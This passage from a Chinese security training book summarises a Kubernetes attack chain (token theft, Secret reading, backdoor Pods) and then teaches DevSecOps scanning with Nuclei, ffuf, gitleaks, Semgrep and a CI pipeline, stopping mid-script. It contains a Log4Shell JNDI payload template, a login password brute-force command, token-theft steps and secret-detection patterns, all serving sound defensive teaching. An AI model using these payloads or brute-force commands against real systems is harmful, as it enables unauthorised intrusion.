| kind 搭集群 | 8.2 |
| SA Token 接管集群完整链路 | 8.3 |
| SA Token 七道防线 | 8.3.7 |
| etcd 未授权 | 8.4.1 |
| kubelet 10250 未授权 | 8.4.2 |
| 镜像签名(cosign) | 8.5.4 |
| distroless 镜像 | 8.5.6 |
8.6.2 本章必背 8 句话
- 容器的四大基石是 Namespace + Cgroup + Capabilities + seccomp,逃逸就是绕过它们
--privileged的 CapEff 是000001ffffffffff(全 f),看到全 f 就知道是特权容器- 挂载 docker.sock = 把宿主机 root 交出去(能启动挂载宿主机根目录的新容器)
- 容器共享宿主机内核,所以内核漏洞(Dirty Pipe)能直接逃逸 → 防御靠 gVisor/Kata
- SA Token 默认挂载在
/var/run/secrets/kubernetes.io/serviceaccount/token,一行automountServiceAccountToken: false防住 90% 利用 - Secret 是 base64 不是加密!用
etcdctl或 RBAC 权限都能读到明文 - etcd 和 kubelet 10250 是集群的两扇后门,etcd 要 TLS 客户端证书,kubelet 要关匿名认证 + Webhook 授权
- distroless 镜像里没有 shell,RCE 了攻击者也无工具可用
8.6.3 完整攻击链与防御对照表(★ 面试画这张图)
| 攻击阶段 | 攻击者做什么 | 防御措施 | 优先级 |
|---|---|---|---|
| ① 进入容器 | 利用应用漏洞(Log4Shell 等) | 依赖扫描、WAF、RASP | ★★★ |
| ② 发现是容器 | env | grep KUBERNETES |
— | — |
| ③ 偷 SA Token | cat /var/run/secrets/... |
★ automountServiceAccountToken: false |
★★★★★ |
| ④ 探测权限 | SelfSubjectRulesReview |
★ RBAC 最小化(Role 不用 ClusterRole) | ★★★★★ |
| ⑤ 偷 Secret | GET /api/v1/secrets |
★ External Secrets + Vault;Secret 加密 | ★★★★★ |
| ⑥ 横向到 API | curl apiserver | ★ NetworkPolicy 默认拒绝 | ★★★★ |
| ⑦ 创建后门 | 伪装的 Pod/CronJob | ★ PSA restricted(禁特权 Pod)+ 审计日志 | ★★★★★ |
| ⑧ 逃逸到 Node | exec 进宿主机挂载的 Pod | ★ 禁 hostPath、禁 privileged | ★★★★ |
| ⑨ 接管集群 | — | 分层防御,每层都设卡 | — |
| ⑩ 上云 | 用 AK/SK | ★ 用实例角色代替 AK;AK 加 IP 限制 | ★★★★★ |
8.6.4 实验清单
| 实验 | 耗时 | 难度 | 面试价值 |
|---|---|---|---|
| 特权容器逃逸(mount + chroot) | 25 分钟 | ★★ | ★★★★★ |
| docker.sock 逃逸 | 25 分钟 | ★★ | ★★★★★ |
| kind 搭集群 | 20 分钟 | ★ | ★★★ |
| SA Token 接管集群(完整链) | 60 分钟 | ★★★★ | ★★★★★ |
| 偷 Secret 拿 AK | 20 分钟 | ★★ | ★★★★★ |
| 创建后门 + 用 PSA 拦截 | 30 分钟 | ★★★ | ★★★★ |
| etcd 未授权读取 | 20 分钟 | ★★ | ★★★★ |
| kubelet 10250 exec | 20 分钟 | ★★ | ★★★★ |
| cosign 镜像签名 | 25 分钟 | ★★ | ★★★ |
| distroless 镜像对比 | 15 分钟 | ★ | ★★★ |
时间有限,做这两个:SA Token 接管集群(本章精华,能讲 5 分钟)+ 特权容器逃逸(最直观,能讲 3 分钟)。
第九章:自动化扫描与 DevSecOps 落地
前面八章都是“手工做一次”,这一章是“让它自动跑起来”。
为什么这一章最重要: 手工复现能让你理解原理,但真正体现工程能力的是—— 你怎么保证这些问题不会再出现?
面试官问“你怎么保证上线后不出安全问题”, 你答“我们会仔细检查”是 0 分, 答“我们在 CI 里做了五道卡点,高危漏洞构建直接失败“是 90 分。
9.0 安全左移:把检查放在最前面
传统模式(安全在最后):
开发 → 测试 → 部署 → 上线 → 安全扫描 → 发现漏洞 → 返工(★ 成本最高)
↑ 这时候改代码,牵一发动全身
DevSecOps(安全左移):
写代码 → 【IDE 提示】→ 提交 → 【pre-commit 扫描】
→ 【CI 流水线扫描】→ 【镜像扫描】→ 【部署前策略检查】→ 上线
★ 每层都拦一次,越早发现问题成本越低
成本对比(行业公认数据):
| 发现阶段 | 修复成本 |
|---|---|
| 编码时(IDE 插件提示) | 1x |
| 提交时(pre-commit / CI) | 5x |
| 测试阶段 | 10x |
| 上线后(生产环境) | 30x |
| 出事后(数据泄露) | 100x+(还有罚款和声誉损失) |
9.0.1 本章工具全景
| 工具 | 干什么 | 类比 |
|---|---|---|
| Nuclei | 用模板批量扫漏洞(SQLi、XSS、CVE、未授权) | 拿着一张“常见病症清单”给病人做体检 |
| ffuf | FUZZ:爆破目录、参数、子域名、API 端点 | 用一万把钥匙挨个试,看哪把能开锁 |
| gitleaks | 扫 Git 历史里有没有泄露的密钥 | 检查你家的垃圾桶里有没有被扔掉的银行卡密码 |
| trivy | 扫镜像和依赖的 CVE | 检查食材有没有过期 |
| Semgrep | 扫代码里的危险写法(SQL 拼接、eval) |
检查建筑图纸里有没有违规设计 |
| OWASP ZAP | 自动化 Web 漏洞扫描(DAST) | 派一群机器人去模拟攻击你的网站 |
9.1 Nuclei:用模板批量扫漏洞
Nuclei 是什么:ProjectDiscovery 开源的基于模板的漏洞扫描器。 社区维护了 8000+ 模板(覆盖 CVE、未授权、信息泄露、错误配置), 一条命令就能把你的目标“体检”一遍。
9.1.1 安装与第一次扫描
# 安装(Go 环境)
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
# 或者下载二进制
curl -LO https://github.com/projectdiscovery/nuclei/releases/download/v3.2.2/nuclei_3.2.2_linux_amd64.zip
unzip nuclei_3.2.2_linux_amd64.zip && sudo mv nuclei /usr/local/bin/
# 确认
nuclei -version
# 预期:Nuclei Engine Version: v3.2.2
# 更新模板库(★ 第一次用必须先做,社区模板每天都在增加)
nuclei -update-templates
# 预期:
# [INF] Downloaded 8123 templates
第一次扫描(对自己的靶场):
# 扫一个目标(用全部模板会很慢,先按严重等级过滤)
nuclei -u http://127.0.0.1:8080 \
-severity critical,high \
-o /tmp/nuclei_result.txt
预期输出:
__ _
____ __ _______/ /__ (_)
/ __ \/ / / / ___/ / _ \/ /
/ / / / /_/ / /__/ / __/ /
/_/ /_/\__,_/\___/_/\___/_/ v3.2.2
projectdiscovery.io
[INF] Current nuclei version: v3.2.2 (latest)
[INF] Templates loaded for current scan: 2145
[INF] Targets loaded for current scan: 1
[2026-09-04 05:10:22] [http-missing-security-headers:strict-transport-security] [info] http://127.0.0.1:8080/
[2026-09-04 05:10:23] [CVE-2021-44228] [critical] http://127.0.0.1:8983/solr/admin/cores
[2026-09-04 05:10:25] [actuator-endpoints] [medium] http://127.0.0.1:8080/actuator
[2026-09-04 05:10:27] [springboot-actuator-unauth] [high] http://127.0.0.1:8080/actuator/env
9.1.2 常用参数速查
# 【基础】
nuclei -u http://target # 扫单个目标
nuclei -l targets.txt # 扫一批目标(每行一个 URL)
nuclei -u http://target -t cves/ # 只扫 CVE 模板
nuclei -u http://target -t exposures/ # 只扫信息泄露
# 【过滤】
nuclei -u http://target -severity critical # 只看严重
nuclei -u http://target -severity critical,high # 严重 + 高危
nuclei -u http://target -exclude-severity info # 排除 info 级别(噪音大)
nuclei -u http://target -tags cve,rce # 按标签过滤
# 【输出】
nuclei -u http://target -o result.txt # 文本输出
nuclei -u http://target -o result.json -je # JSON 输出(-je = JSON export)
nuclei -u http://target -o result.md -me /tmp/ # Markdown 报告
# 【性能】
nuclei -u http://target -rate-limit 10 # 限速(每秒 10 个请求,避免打挂目标)
nuclei -u http://target -c 50 # 并发 50
nuclei -u http://target -timeout 10 # 超时 10 秒
# 【调试】
nuclei -u http://target -t cves/2021/CVE-2021-44228.yaml -debug # 看发了什么请求
nuclei -u http://target -proxy http://127.0.0.1:8081 # 走 Burp 代理(★ 看原理用)
9.1.3 看懂一个 Nuclei 模板(★ 理解原理)
模板就是个 YAML,描述了“发什么请求、怎么判断存在漏洞“。
# nuclei-templates/http/cves/2021/CVE-2021-44228.yaml(简化版)
id: CVE-2021-44228
info:
name: Apache Log4j2 RCE
author: pdteam
severity: critical
description: Log4j2 JNDI 注入导致 RCE
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2021-44228
tags: cve,cve2021,log4j,rce,oast
# ★ 核心 1:要用 OOB(带外)检测,声明交互协议
requests:
- raw:
# 在多个位置插入 payload(因为不知道哪里会被写进日志)
- |
GET /?x=${jndi:ldap://{{interactsh-url}}/a} HTTP/1.1
Host: {{Hostname}}
User-Agent: ${jndi:ldap://{{interactsh-url}}/a}
Referer: ${jndi:ldap://{{interactsh-url}}/a}
X-Forwarded-For: ${jndi:ldap://{{interactsh-url}}/a}
# ★ 核心 2:怎么判断漏洞存在
matchers-condition: or
matchers:
- type: word
part: interactsh_protocol # 是否收到了 DNS/HTTP 交互
words:
- "dns"
- "http"
关键字段解释:
| 字段 | 含义 |
|---|---|
{{interactsh-url}} |
Nuclei 自带的带外检测平台(类似 dnslog)。如果服务器去解析了这个域名,说明漏洞触发了 |
matchers |
判断条件。可以是“响应包含某字符串”(word)、“状态码等于 X”(status)、“收到 OOB 交互”(interactsh_protocol) |
part |
检查响应的哪部分:body、header、all、interactsh_protocol |
matchers-condition |
多个 matcher 之间是 and 还是 or |
raw |
原始 HTTP 请求(可以精确控制每一个字符) |
9.1.4 自己写一个模板(检测自家系统的问题)
场景:你们公司有个内部接口 /api/internal/config,本该只有内网能访问,但被误暴露了。
写一个模板,每次发版后自动检查。
# internal-endpoint-exposed.yaml
id: internal-endpoint-exposed
info:
name: 内部配置接口被暴露
author: zhuhonghui
severity: high
description: /api/internal/config 应该只在内网可访问
tags: internal,exposure,config
requests:
- method: GET
path:
- "{{BaseURL}}/api/internal/config"
# ★ 匹配条件:返回 200 且响应里有敏感关键词
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
part: body
words:
- "datasource"
- "password"
- "redis"
condition: or
# 用自己写的模板扫
nuclei -u http://target -t internal-endpoint-exposed.yaml
# 预期(如果暴露了):
# [internal-endpoint-exposed] [high] http://target/api/internal/config
# 批量扫多个环境
cat > envs.txt <<'EOF'
http://dev.example.com
http://test.example.com
http://prod.example.com
EOF
nuclei -l envs.txt -t internal-endpoint-exposed.yaml -o exposure_check.txt
9.1.5 把 Nuclei 接进 CI
# .gitlab-ci.yml
nuclei-scan:
stage: security
image: projectdiscovery/nuclei:latest
script:
- nuclei -update-templates
# ★ 对测试环境扫描(绝不扫生产!流量可能影响业务)
- nuclei -u https://test.example.com
-severity critical,high
-exclude-templates-file .nuclei-ignore.txt
-o nuclei-report.md -me /tmp/report
-rate-limit 20
artifacts:
paths:
- nuclei-report.md
expire_in: 30 days
allow_failure: true # ★ 建议先设为 true,看一段时间再改 false
rules:
- if: '$CI_PIPELINE_SOURCE == "schedule"' # 每周定时跑一次
★ 重要建议:Nuclei 扫测试环境,不要扫生产。 原因:① 大量请求可能影响业务;② 某些 payload 会真的写入数据(如存储型 XSS); ③ 可能触发告警把安全团队吓一跳。
正确的做法:
- 生产环境:只做被动扫描(看配置、看响应头,不发攻击 payload)
- 预发/测试环境:做主动扫描
- 生产发版后:只跑“只读类”的模板(如检查安全响应头、检查端点是否暴露)
9.2 ffuf:FUZZ 爆破
FUZZ(模糊测试)是什么: 用大量可能的输入去试,看哪个能触发异常。 最常见的用法是爆破目录和文件名——猜服务器上有哪些文件。
9.2.1 安装与基本用法
# 安装
go install github.com/ffuf/ffuf/v2@latest
# 或
curl -LO https://github.com/ffuf/ffuf/releases/download/v2.1.0/ffuf_2.1.0_linux_amd64.tar.gz
tar -xzf ffuf_2.1.0_linux_amd64.tar.gz && sudo mv ffuf /usr/local/bin/
# 第一个命令:爆破目录
ffuf -u http://127.0.0.1:8080/FUZZ \
-w /usr/share/wordlists/dirb/common.txt
预期输出:
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/ v2.1.0
:: Method : GET
:: URL : http://127.0.0.1:8080/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/dirb/common.txt
:: Follow redirects : false
:: Timeout : 10
actuator [Status: 200, Size: 1234, Words: 45, Lines: 12]
admin [Status: 200, Size: 567, Words: 23, Lines: 8]
api [Status: 200, Size: 890, Words: 34, Lines: 10]
druid [Status: 200, Size: 2345, Words: 78, Lines: 20] ← ★ 发现 Druid!
swagger-ui.html [Status: 200, Size: 1024, Words: 40, Lines: 15] ← ★ 发现 Swagger!
...
:: Progress: [4614/4614] :: 150 req/sec
看到
druid和swagger-ui.html就知道有问题了—— 这就是 FUZZ 的价值:发现那些“本该藏起来但忘了藏”的东西。
9.2.2 常用场景
# 【场景 1】爆破目录(带扩展名)
ffuf -u http://target/FUZZ -w wordlist.txt \
-e .php,.bak,.old,.zip,.tar.gz,.sql # 自动加扩展名
# 【场景 2】过滤噪音(★ 必须会,不然全是 404)
ffuf -u http://target/FUZZ -w wordlist.txt \
-fc 404,403,400 # -fc = filter code,过滤状态码
-fs 0 # -fs = filter size,过滤空响应
-mc 200,301,302,403 # -mc = match code,只显示这些
# 【场景 3】爆破子域名
ffuf -u https://FUZZ.example.com \
-w subdomains.txt \
-H "Host: FUZZ.example.com" \
-fc 404
# 【场景 4】爆破参数(找隐藏的 GET 参数)
ffuf -u "http://target/api/user?FUZZ=1" \
-w params.txt \
-fs 0
# 【场景 5】爆破 POST 参数的值
ffuf -u http://target/login \
-X POST -d "username=admin&password=FUZZ" \
-w passwords.txt -fc 401
# 【场景 6】★ 爆破 API 端点(微服务场景特别有用)
ffuf -u http://target/api/FUZZ -w api-endpoints.txt -fc 404
# 【场景 7】带请求头爆破(测 User-Agent 注入 / 找隐藏功能)
ffuf -u http://target -X POST -d '{"a":1}' \
-H "Content-Type: application/json" \
-H "X-Custom: FUZZ" -w headers.txt
# 【场景 8】递归爆破(找到目录后继续往里找)
ffuf -u http://target/FUZZ -w wordlist.txt -recursion -recursion-depth 2
9.2.3 自建一个“Java 应用专属”字典
(通用字典对 Java 应用命中率低,自己整理一个命中率飙升)
cat > java-endpoints.txt <<'EOF'
actuator
actuator/health
actuator/env
actuator/beans
actuator/heapdump
actuator/threaddump
actuator/mappings
actuator/configprops
actuator/gateway/routes
actuator/loggers
manage
manage/health
manage/env
monitor
admin
admin/login
druid
druid/index.html
druid/sql.json
druid/session.json
h2-console
h2-console/login.do
swagger-ui.html
swagger-ui/index.html
swagger-resources
v2/api-docs
v3/api-docs
doc.html
webjars
knife4j
api
api/v1
api-docs
nacos
metrics
prometheus
info
health
status
debug
trace
dump
env
config
console
jolokia
EOF
# 用它扫自家应用
ffuf -u http://127.0.0.1:8888/FUZZ -w java-endpoints.txt -fc 404
9.3 gitleaks:别把密钥提交进 Git
为什么这个必须做: 据 GitGuardian 的统计,每 1000 次代码提交里平均有 5 个密钥泄露。 而且——Git 的历史是永久的,
git rm之后密钥依然在历史 commit 里。真实案例:某公司把阿里云 AK 提交到了 GitHub 公开仓库, 3 分钟后就被自动化扫描器发现, 攻击者用它开了 200 台 GPU 矿机,一晚上账单 50 万元。
9.3.1 安装与扫描
# 安装
# macOS: brew install gitleaks
# Linux:
curl -LO https://github.com/gitleaks/gitleaks/releases/download/v8.18.4/gitleaks_8.18.4_linux_x64.tar.gz
tar -xzf gitleaks_8.18.4_linux_x64.tar.gz && sudo mv gitleaks /usr/local/bin/
# ① 扫描当前仓库(只看工作区)
gitleaks detect --source . --verbose
# ② ★ 扫描完整 Git 历史(最重要,能发现历史上提交过的密钥)
gitleaks detect --source . --log-opts="--all" --verbose
预期输出(如果发现泄露):
Finding: AKIAZXCVBNMASDFGHJKL
Secret: AKIAZXCVBNMASDFGHJKL
RuleID: aws-access-token
Entropy: 3.684
File: src/main/resources/application-prod.yml
Line: 15
Commit: a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6q7r8s9t0
Author: zhangsan
Email: zhangsan@example.com
Date: 2026-08-15T10:30:22Z
Fingerprint: a1b2c3d4e5f6:src/main/resources/application-prod.yml:aws-access-token:15
Finding: password = "Prod@Db#2026!Secure"
Secret: Prod@Db#2026!Secure
RuleID: generic-api-key
File: src/main/resources/application-prod.yml
Line: 23
Commit: a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6q7r8s9t0
11:45AM INF scan completed in 1.2s
11:45AM WRN leaks found: 2
9.3.2 装 pre-commit 钩子(★ 从源头堵住)
# 安装 pre-commit 框架
pip install pre-commit
# 在项目根目录创建 .pre-commit-config.yaml
cat > .pre-commit-config.yaml <<'EOF'
repos:
- repo: https://github.com/gitleaks/gitleaks
rev: v8.18.4
hooks:
- id: gitleaks
# 顺便加上其他检查
- repo: https://github.com/pre-commit/pre-commit-hooks
rev: v4.5.0
hooks:
- id: trailing-whitespace # 去行尾空格
- id: end-of-file-fixer # 文件末尾换行
- id: check-yaml # 检查 YAML 语法
- id: check-added-large-files # ★ 防止提交大文件
args: ['--maxkb=1024']
- id: detect-private-key # ★ 检测私钥文件
EOF
# 安装钩子
pre-commit install
# 预期:pre-commit installed at .git/hooks/pre-commit
# 测试(现在尝试提交一个含密钥的文件会被拦住)
git add . && git commit -m "test"
# 预期(如果含密钥):
# Detect hardcoded secrets................................................Failed
# - hook id: gitleaks
# - exit code: 1
#
# Finding: ...
# ★ 提交被拦住了!
9.3.3 误报处理(gitleaks 的噪音管理)
# .gitleaks.toml(放在仓库根目录)
[extend]
useDefault = true # 用默认规则
# 【方式 1】允许整个文件
[[allowlist]]
paths = [
'''src/test/resources/.*''', # 测试资源文件不算
'''.*\.md''', # 文档里的示例密钥不算
]
# 【方式 2】允许特定的正则
[[allowlist]]
regexes = [
'''EXAMPLE_.*''', # 以 EXAMPLE_ 开头的常量
'''your-.*-here''', # 占位符
'''\$\{[A-Z_]+\}''', # 环境变量引用 ${DB_PASSWORD}
]
# 【方式 3】★ 更推荐:用 gitleaks:allow 注解(精确到行)
# 在代码里这么写:
# testToken = "abc123" // gitleaks:allow
★ 安全建议:不要把真实的测试密钥也允许掉。 测试环境的密钥也应该用专门的测试账号, 而且权限要限制(比如测试用的 AK 只能访问测试 bucket)。
9.3.4 已经泄露了怎么办?(应急流程)
┌──────────────────────────────────────────────────────────┐
│ ★ 第一步:【立刻吊销】密钥(不是删除代码!) │
│ 因为 Git 历史是永久的,删代码没用, │
│ 自动化扫描器可能已经把它存进数据库了 │
├──────────────────────────────────────────────────────────┤
│ 第二步:检查这个密钥被用在了哪里(看云厂商的访问日志) │
│ - 有没有异常的 IP 访问 │
│ - 有没有创建新的子账号 / 实例 │
├──────────────────────────────────────────────────────────┤
│ 第三步:清理 Git 历史(可选,治标) │
│ 用 BFG Repo-Cleaner 或 git filter-repo │
│ ⚠️ 注意:这会改写历史,需要所有人重新 clone │
├──────────────────────────────────────────────────────────┤
│ 第四步:加 pre-commit 钩子 + CI 卡点(治本) │
├──────────────────────────────────────────────────────────┤
│ 第五步:复盘,为什么会发生(是缺规范?缺工具?) │
└──────────────────────────────────────────────────────────┘
清理 Git 历史实操:
# 方案 A:用 BFG(简单,推荐)
java -jar bfg.jar --replace-text passwords.txt my-repo.git
cd my-repo.git
git reflog expire --expire=now --all && git gc --prune=now --aggressive
git push --force
# passwords.txt 内容(每行一个要替换的密钥):
# AKIAIOSFODNN7EXAMPLE===>***REMOVED***
# Prod@Db#2026!Secure===>***REMOVED***
# 方案 B:用 git filter-repo(Git 官方推荐,BFG 的现代替代)
pip install git-filter-repo
git filter-repo --replace-text passwords.txt
# ⚠️ 强制 push 前一定要通知团队!
git push --force-with-lease # 比 --force 安全一点
9.4 Semgrep:扫代码里的危险写法
Semgrep 是什么:一个**静态代码分析(SAST)**工具, 用“代码模式匹配“找出危险写法。 比正则强(它理解语法树),比完整的数据流分析轻量(快)。
9.4.1 安装与基础扫描
# 安装
pip install semgrep
# 用社区规则库扫描(有几千条规则,覆盖各种语言)
semgrep --config=auto .
# 只扫安全相关规则
semgrep --config=p/security-audit .
semgrep --config=p/java .
semgrep --config=p/springboot .
预期输出:
┌─────────────────┐
│ 2 Code Findings │
└─────────────────┘
src/main/java/com/example/UserController.java
❯❯ sql-injection
使用字符串拼接构造 SQL 查询,存在 SQL 注入风险
23┆ String sql = "SELECT * FROM users WHERE name = '" + name + "'";
⋮┆
25┆ return jdbcTemplate.query(sql, rowMapper);
src/main/java/com/example/FileController.java
❯❯ path-traversal
用户输入未经验证直接用于文件路径
45┆ File f = new File(UPLOAD_DIR + filename);
9.4.2 自己写规则(★ 定制你们团队的规范)
# .semgrep/java-custom.yml
rules:
# 【规则 1】禁止用 Runtime.exec 执行拼接的命令
- id: java-runtime-exec-concat
languages: [java]
message: >
禁止用字符串拼接构造 Runtime.exec 的命令(命令注入风险)。
请改用 ProcessBuilder 并传参数数组。
severity: ERROR
pattern-either:
- pattern: Runtime.getRuntime().exec($X + ...)
- pattern: |
$CMD = ... + $INPUT;
...
Runtime.getRuntime().exec($CMD);
metadata:
category: security
cwe: CWE-78
# 【规则 2】禁止用 StandardEvaluationContext 处理用户输入
- id: java-spel-dangerous-context
languages: [java]
message: >
StandardEvaluationContext 允许执行任意代码(SpEL 注入)。
处理用户输入时必须用 SimpleEvaluationContext。
severity: ERROR
pattern: new StandardEvaluationContext(...)
metadata:
category: security
cwe: CWE-94
# 【规则 3】MyBatis 禁止用 ${}(要用户 #{})
- id: mybatis-sql-injection
languages: [java]
message: >
MyBatis 的 ${} 是字符串替换,存在 SQL 注入。
请改用 #{} 预编译占位符。
severity: ERROR
patterns:
- pattern-regex: '@Select\("[^"]*\$\{[^}]*\}[^"]*"\)'
metadata:
category: security
# 【规则 4】★ 禁止硬编码密钥(团队规范)
- id: java-hardcoded-secret
languages: [java]
message: >
检测到硬编码的密钥/密码。请改为从配置中心或环境变量注入。
severity: ERROR
pattern-regex: '(?i)(password|secret|api[_-]?key|access[_-]?key)\s*=\s*"[^"${}]{8,}"'
metadata:
category: security
cwe: CWE-798
# 【规则 5】★ 禁止在日志里打印敏感字段
- id: java-log-sensitive
languages: [java]
message: >
日志中可能打印了敏感信息(密码/Token)。请使用脱敏或移除。
severity: WARNING
pattern-regex: 'log\.(info|debug|error|warn)\(.*(?i)(password|passwd|token|secret).*\)'
metadata:
category: security
# 用自定义规则扫
semgrep --config=.semgrep/java-custom.yml src/
# 输出成 SARIF(可以接入 GitHub/GitLab 的代码扫描面板)
semgrep --config=.semgrep/ --sarif --output results.sarif .
9.4.3 和其他 SAST 工具对比
| 工具 | 特点 | 适合 |
|---|---|---|
| Semgrep | 快(秒级)、规则好写、可定制 | ★ 团队自建规范,CI 卡点 |
| SonarQube | 功能全(代码质量 + 安全),有服务端 | 企业级,需要有人维护 |
| SpotBugs + FindSecBugs | 专门针对 Java 字节码 | Java 项目深度分析 |
| CodeQL | 数据流分析强(能追踪跨函数的污染) | 找复杂漏洞,但慢、规则难写 |
| Checkmarx / Fortify | 商业工具,报告漂亮 | 有预算、有合规要求 |
我的建议:Semgrep + SonarQube 组合。 Semgrep 跑在 CI 里(快,能卡点),SonarQube 做日常质量看板。
9.5 完整 CI/CD 安全流水线(★ 本章的交付物)
把前面所有工具串起来,形成一条“五道卡点“的流水线。
# .gitlab-ci.yml(完整版,可以直接改改就用)
stages:
- secret-scan # 卡点 1:密钥扫描
- sast # 卡点 2:代码扫描
- build
- sca # 卡点 3:依赖扫描
- image-scan # 卡点 4:镜像扫描
- dast # 卡点 5:动态扫描
- deploy
variables:
IMAGE: $CI_REGISTRY_IMAGE:$CI_COMMIT_SHORT_SHA
# ============ 卡点 1:密钥泄露扫描(最快,最便宜)============
secret-scan:
stage: secret-scan
image: zricethezav/gitleaks:latest
script:
- gitleaks detect --source . --log-opts="--all" --report-format json --report-path gitleaks.json
artifacts:
paths: [gitleaks.json]
when: always
allow_failure: false # ★ 发现密钥直接失败
# ============ 卡点 2:静态代码扫描 ============
sast:
stage: sast
image: returntocorp/semgrep:latest
script:
# 社区规则 + 团队自定义规则
- semgrep --config=p/security-audit --config=.semgrep/
--sarif --output semgrep.sarif
--error # ★ 发现 ERROR 级别就退出码非 0
artifacts:
reports:
sast: semgrep.sarif # ★ 接入 GitLab 的安全面板
allow_failure: false
# ============ 构建 ============
build:
stage: build
image: maven:3.9-eclipse-temurin-17
script:
- mvn clean package -DskipTests
- docker build -t $IMAGE .
- docker push $IMAGE
artifacts:
paths: [target/*.jar]
# ============ 卡点 3:依赖漏洞扫描(SCA)============
sca:
stage: sca
image: aquasec/trivy:latest
script:
# 扫项目依赖
- trivy fs --severity CRITICAL,HIGH --exit-code 1 --no-progress .
# ★ 生成 SBOM(应急时能救命)
- trivy fs --format cyclonedx --output sbom.json .
artifacts:
paths: [sbom.json]
expire_in: 1 year
allow_failure: false # ★ 高危依赖直接失败
# ============ 卡点 4:镜像漏洞扫描 ============
image-scan:
stage: image-scan
image: aquasec/trivy:latest
script:
- trivy image --severity CRITICAL,HIGH --exit-code 1 --ignore-unfixed $IMAGE
# ★ 顺便生成镜像 SBOM
- trivy image --format cyclonedx --output image-sbom.json $IMAGE
artifacts:
paths: [image-sbom.json]
allow_failure: false
# ============ 卡点 5:动态扫描(DAST)============
dast:
stage: dast
image: projectdiscovery/nuclei:latest
script:
- nuclei -update-templates
# ★ 只对测试环境做主动扫描
- nuclei -u https://test.example.com
-severity critical,high
-rate-limit 20
-o nuclei-report.md -me /tmp/report
artifacts:
paths: [nuclei-report.md]
allow_failure: true # ★ DAST 误报较多,先设为 true,稳定后改 false
rules:
- if: '$CI_COMMIT_BRANCH == "main"' # 只在主干跑
# ============ 部署 ============
deploy:
stage: deploy
script:
# ★ 部署前检查镜像签名
- cosign verify --key cosign.pub $IMAGE
- kubectl set image deployment/app app=$IMAGE
environment:
name: production
when: manual # ★ 生产部署手动确认
needs: [secret-scan, sast, sca, image-scan]
9.5.1 落地路线图(★ 别一次性全上,会失败)
第 1 周:只上【卡点 1:gitleaks】
- 改动最小,几乎零误报,团队接受度最高
- 目标:让所有人装上 pre-commit 钩子
第 2~3 周:上【卡点 3:trivy 依赖扫描】
- 先设为 allow_failure: true,跑两周看有多少误报和存量问题
- 同时整改存量(先修 CRITICAL,再修 HIGH)
- 目标:存量清零后改为 allow_failure: false
第 4~6 周:上【卡点 2:Semgrep】
- 先只开 ERROR 级别的规则,WARNING 只报告不卡
- 根据团队反馈调整自定义规则
- 目标:把团队最常犯的错误写成规则(如 ${} 拼接、日志打密码)
第 7~8 周:上【卡点 4:trivy 镜像扫描】
- 顺便推动基础镜像升级(alpine / distroless)
第 9 周以后:上【卡点 5:DAST】
- 只对测试环境,allow_failure: true
- 观察稳定后再收紧
★ 血泪教训:不要一上来就把所有卡点设成
allow_failure: false。我见过太多团队这么干,结果: ① 第一次跑出 300 个漏洞,开发直接懵了 ② 为了赶进度,团队集体要求“先关掉,后面再修” ③ 然后就再也没有“后面”了
正确的做法是“温水煮青蛙”: 先只报告不卡点 → 整改存量 → 再开启卡点 → 只卡新增(存量加白名单并设过期时间)。
9.6 一键体检脚本(把前面所有检查串起来)
#!/bin/bash
# security_healthcheck.sh —— 对一套环境做全面安全体检
# 用法:./security_healthcheck.sh http://target-host
TARGET="${1:-http://127.0.0.1:8080}"
OUT="./security-report-$(date +%Y%m%d-%H%M%S)"
mkdir -p "$OUT"
echo "=========================================="
echo " 安全体检报告"
echo " 目标:$TARGET"
echo " 时间:$(date '+%Y-%m-%d %H:%M:%S')"
echo "=========================================="
echo ""
# ---------- 第 1 部分:暴露面检查 ----------
echo "【1/6】检查暴露面..."
{
echo "=== 危险端点 ==="
for ep in /actuator/env /actuator/heapdump /actuator/beans /actuator/mappings \
/actuator/gateway/routes /druid/index.html /swagger-ui.html /v2/api-docs \
/h2-console /nacos /console /jenkins /manager/html \
/env /metrics /configprops /threaddump; do
C=$(curl -s -o /dev/null -w '%{http_code}' -m 5 "$TARGET$ep")
[ "$C" = "200" ] && echo " ❌ 暴露:$ep"
done
echo " (无输出 = 未发现暴露端点)"
} | tee "$OUT/01-exposure.txt"
# ---------- 第 2 部分:安全响应头 ----------
echo ""
echo "【2/6】检查安全响应头..."
{
echo "=== HTTP 安全头 ==="
H=$(curl -s -D - -o /dev/null -m 5 "$TARGET")
for h in "Strict-Transport-Security" "Content-Security-Policy" "X-Content-Type-Options" \
"X-Frame-Options" "Referrer-Policy" "Permissions-Policy"; do
if echo "$H" | grep -qi "$h"; then
echo " ✅ $h: $(echo "$H" | grep -i "$h" | head -1 | cut -d: -f2- | xargs)"
else
echo " ❌ 缺失:$h"
fi
done
echo ""
echo "=== 不应出现的头(信息泄露)==="
for h in "X-Powered-By" "Server" "X-AspNet-Version" "X-Jenkins" "X-Generator"; do
V=$(echo "$H" | grep -i "^$h:" | cut -d: -f2- | xargs)
[ -n "$V" ] && echo " ⚠️ $h: $V(泄露技术栈和版本)"
done
} | tee "$OUT/02-headers.txt"
# ---------- 第 3 部分:目录爆破 ----------
echo ""
echo "【3/6】FUZZ 目录(需要 ffuf)..."
if command -v ffuf >/dev/null 2>&1; then
ffuf -u "$TARGET/FUZZ" -w ./java-endpoints.txt -fc 404 -fs 0 \
-o "$OUT/03-ffuf.json" -of json -s
jq -r '.results[]? | " ⚠️ \(.input.FUZZ) → HTTP \(.status)"' \
"$OUT/03-ffuf.json" 2>/dev/null | tee -a "$OUT/03-ffuf.txt"
else
echo " (ffuf 未安装,跳过)"
fi
# ---------- 第 4 部分:Nuclei 扫描 ----------
echo ""
echo "【4/6】Nuclei 漏洞扫描(只读模板,不发攻击 payload)..."
if command -v nuclei >/dev/null 2>&1; then
nuclei -u "$TARGET" \
-severity critical,high,medium \
-tags config,exposure,tech \
-rate-limit 20 \
-o "$OUT/04-nuclei.txt" -s
